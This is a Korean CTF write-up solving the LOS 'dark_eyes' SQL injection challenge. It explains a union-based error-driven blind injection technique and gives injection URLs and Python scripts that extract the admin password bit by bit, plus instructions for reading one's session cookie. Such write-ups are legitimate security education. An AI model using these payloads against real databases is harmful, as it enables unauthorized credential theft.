    for i in range(1, bitLen+1):
        payload = "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            # True
            bit += '1'
        else:
            bit += '0'

    print(' =  Find Back Char    : ', chr(int(bit, 2)), '  :  ', bit)

    Back += chr(int(bit, 2))

print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front + Back)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 iron_golem에 이어 dark_eyes 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

고양이 눈깔인데, 안 귀엽네요.


이번 문제는 진짜... 고민을 많이 했습니다.

어찌 풀어야 할지는 알겠는데 어떻게 문제 풀이를 진행해야 하는지 감이 잡힐 때까지 시간이 많이 걸렸지요..ㅠㅠ

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>


와우...

iron_golem 문제에서 나타나 있는 것처럼 if문을 이용하여, Error Based Blind SQL Injection을 수행했었는데... 이번에는 그렇게 하지도 못하게 됐습니다. 이제는 어떻게 에러와 참을 구분한단 말인가...


여전히 error가 발생했을 때를 제외하고, 값이 출력되는 곳은 따로 없습니다.

따라서 이번에도 아무런 결과도 도출할 수 없이 Error Based Blind SQL Injection을 수행해야 합니다.


여기서 참 고민을 많이 했습니다.

별의 별 쿼리를 다 만들어 날려보면서... 생각해보니 union에서 컬럼을 만들어준 녀석이 값을 2개를 넘겨줄 때 문제가 발생했었던 걸 깨달았습니다.


만약 select 1 union select 1을 할 경우 값이 같은 값이므로, 1 하나만 반환됩니다.

그러나 select union select 0을 할 경우 값이 다르기 때문에, 1과 0을 함께 반환합니다.


위와 같은 원리를 이용하여 이번 Error Based Blind SQL Injection을 수행해보려 합니다.



 

 Error Based Blind SQL Injection


MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.


 

 union을 이용한 Error Based Blind SQL Injection



 

 에러 발생


기존의 방법은 if문을 이용하여 error를 발생했을 때와 아닐 때를 구분해주었습니다.

[LOS - Lord Of SQL] Level 21 - iron_golem 풀이


위의 링크에서 if문을 이용한 error based blind sql injection을 확인할 수 있습니다.


그러나 만약 if문을 사용할 수 없을 경우 select와 union만을 이용하여 에러를 발생시켜야 합니다.


원리는 다음과 같습니다.

(1) select 1 union select 1; 을 할 경우, 1 하나만 반환됨

(2) select 1 union select 0; 을 할 경우, 1과 0이 반환됨


만약 (2)의 쿼리를 WHERE 조건문에 넣게 되면 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.


이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.

비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.


select 1 union select 1를 하게되면 다음과 같은 값이 select 됩니다.

1

1


만약 select 1 union select 0;를 하게 되면 다음과 같이 값이 반환됩니다.

1

1

0


select 1 union select 0을 수행할 때를 보면, 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.

따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.


그렇다면 어떻게 0과 1을 따로 구분할 수 있는지를 알아봐야합니다.


 

 MySQL True, False


MySQL에서는 괄호와 비교 연산자를 이용하여 참과 거짓을 반환해줄 수 있습니다.


예를 들면, select (length(pw)>0) from table;을 수행해주면, 비밀번호라는 컬럼의 값이 0보다 크면 참, 작으면 거짓을 반환하는 테이블이 반환될 것입니다. 이때 참과 거짓은 각각 1과 0으로 반환됩니다.


즉, 참일 때 1이 반환되고, 거짓일 때 0이 반환된다는 것입니다.


그렇다면, 우리는 괄호와 비교연산자를 이용하여 값을 알아낼 수 있을 것입니다.




 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기


MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(length(pw)<0))%23


위의 쿼리는 pw 길이가 0보다 작으면 에러가 발생하게끔 작성하였습니다.

이는 pw=' or id='admin' and (select 1 union select (length(pw)<0))%23 으로 작성하였습니다.


이 쿼리는 일부러 에러가 터지는지 안 터지는지 알기 위해 일부러 0보다 작다, 라고 작성해주었습니다. 문제 풀이로써 사용될 쿼리에는 특정 숫자보다 크다, 로 설정할 것입니다.


이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..


만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw='
headers = {'Cookie': 'PHPSESSID=r6bn9co3h56f6bindk6rs09474'}

passwordLen = 0

for i in range(1, 100):
    payload = "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'query' in res.text:
        passwordLen = i
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, bitLen+1):
        payload = "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'query' in res.text:
            # Error Occured!! It is not 1 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

+ Recent posts